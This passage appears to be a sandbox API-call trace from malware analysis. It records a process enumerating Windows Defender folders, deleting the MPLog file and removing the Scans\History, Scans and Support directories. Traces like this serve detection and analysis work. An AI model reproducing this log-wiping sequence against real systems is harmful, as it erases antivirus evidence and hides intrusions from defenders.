(dwNewMode=0x1, lpOldMode=0x1bb7e0a8) returned 1 [0278.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0278.006] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0278.006] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History", nBufferLength=0x38, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History", lpFilePart=0x0) returned 0x37 [0278.006] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x1bb7de60 | out: lpFindFileData=0x1bb7de60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0278.006] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.006] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.006] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0278.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0278.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0a8) returned 1 [0278.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e088) returned 1 [0278.006] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0278.007] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History", nBufferLength=0x38, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History", lpFilePart=0x0) returned 0x37 [0278.007] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History\\*", lpFindFileData=0x1bb7de30 | out: lpFindFileData=0x1bb7de30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08500 [0278.007] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7ded0 | out: lpFindFileData=0x1bb7ded0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.007] FindNextFileW (in: hFindFile=0x1ae08500, lpFindFileData=0x1bb7ded0 | out: lpFindFileData=0x1bb7ded0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.007] FindClose (in: hFindFile=0x1ae08500 | out: hFindFile=0x1ae08500) returned 1 [0278.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ddf8) returned 1 [0278.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e038) returned 1 [0278.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db88) returned 1 [0278.007] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e110 | out: lpFileInformation=0x1bb7e110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7690f9e4, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0278.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7db38) returned 1 [0278.007] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\History" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\history")) returned 1 [0278.008] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0278.008] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0278.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df08) returned 1 [0278.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e128) returned 1 [0278.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e138) returned 1 [0278.008] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0278.008] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans", nBufferLength=0x30, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans", lpFilePart=0x0) returned 0x2f [0278.008] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0278.008] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.008] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.008] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0278.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df08) returned 1 [0278.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e128) returned 1 [0278.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0278.009] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x30 [0278.009] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans", nBufferLength=0x30, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans", lpFilePart=0x0) returned 0x2f [0278.009] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0278.009] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7df50 | out: lpFindFileData=0x1bb7df50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.009] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7df50 | out: lpFindFileData=0x1bb7df50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.009] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0278.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de78) returned 1 [0278.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0278.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dc08) returned 1 [0278.009] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e190 | out: lpFileInformation=0x1bb7e190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87943dc0, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87943dc0, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0278.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dbb8) returned 1 [0278.010] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans")) returned 1 [0278.010] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7e060 | out: lpFindFileData=0x1bb7e060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Support", cAlternateFileName="")) returned 1 [0278.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e138) returned 1 [0278.010] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0278.010] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support", nBufferLength=0x32, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Support", lpFilePart=0x0) returned 0x31 [0278.010] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0278.011] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.011] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x188be520, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x1fbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="MPLOG-~1.LOG")) returned 1 [0278.011] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x188be520, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x1fbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="MPLOG-~1.LOG")) returned 0 [0278.011] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0278.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df08) returned 1 [0278.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e128) returned 1 [0278.011] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e138) returned 1 [0278.011] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0278.011] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support", nBufferLength=0x32, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Support", lpFilePart=0x0) returned 0x31 [0278.012] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0278.012] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x76792c22, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.012] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76792c22, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x76792c22, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x188be520, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x1fbc, dwReserved0=0x0, dwReserved1=0x0, cFileName="MPLog-07132009-221054.log", cAlternateFileName="MPLOG-~1.LOG")) returned 1 [0278.012] DeleteFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\MPLog-07132009-221054.log" (normalized: "c:\\programdata\\microsoft\\windows defender\\support\\mplog-07132009-221054.log")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7dfe0 | out: lpFindFileData=0x1bb7dfe0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0278.013] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0278.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df08) returned 1 [0278.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e128) returned 1 [0278.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0278.013] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0278.013] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support", nBufferLength=0x32, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender\\Support", lpFilePart=0x0) returned 0x31 [0278.013] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08200 [0278.013] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7df50 | out: lpFindFileData=0x1bb7df50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.013] FindNextFileW (in: hFindFile=0x1ae08200, lpFindFileData=0x1bb7df50 | out: lpFindFileData=0x1bb7df50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.013] FindClose (in: hFindFile=0x1ae08200 | out: hFindFile=0x1ae08200) returned 1 [0278.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de78) returned 1 [0278.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0b8) returned 1 [0278.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dc08) returned 1 [0278.014] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support" (normalized: "c:\\programdata\\microsoft\\windows defender\\support"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e190 | out: lpFileInformation=0x1bb7e190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0278.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7dbb8) returned 1 [0278.014] RemoveDirectoryW (lpPathName="C:\\ProgramData\\Microsoft\\Windows Defender\\Support" (normalized: "c:\\programdata\\microsoft\\windows defender\\support")) returned 1 [0278.014] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7e060 | out: lpFindFileData=0x1bb7e060*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0278.014] FindClose (in: hFindFile=0x1ae08560 | out: hFindFile=0x1ae08560) returned 1 [0278.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7df88) returned 1 [0278.014] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e1a8) returned 1 [0278.014] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e1b8) returned 1 [0278.014] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0278.015] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender", nBufferLength=0x2a, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows Defender", lpFilePart=0x0) returned 0x29 [0278.015] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x1bb7df60 | out: lpFindFileData=0x1bb7df60*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ae08560 [0278.015] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7e060 | out: lpFindFileData=0x1bb7e060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0278.015] FindNextFileW (in: hFindFile=0x1ae08560, lpFindFileData=0x1bb7e060 | out: lpFindFileData=0x1bb7e060*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x87969f20, ftLastAccessTime.dwHighDateTime=0x1d7b458, ftLastWriteTime.dwLowDateTime=0x87969f20, ftLastWriteTime.dwHighDateTime=0x1d7b458, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0278.015] FindClose (in: hFindFile=0x1ae08560 | out: hFindFile=0x1ae08560) returned 1 [0278.015] 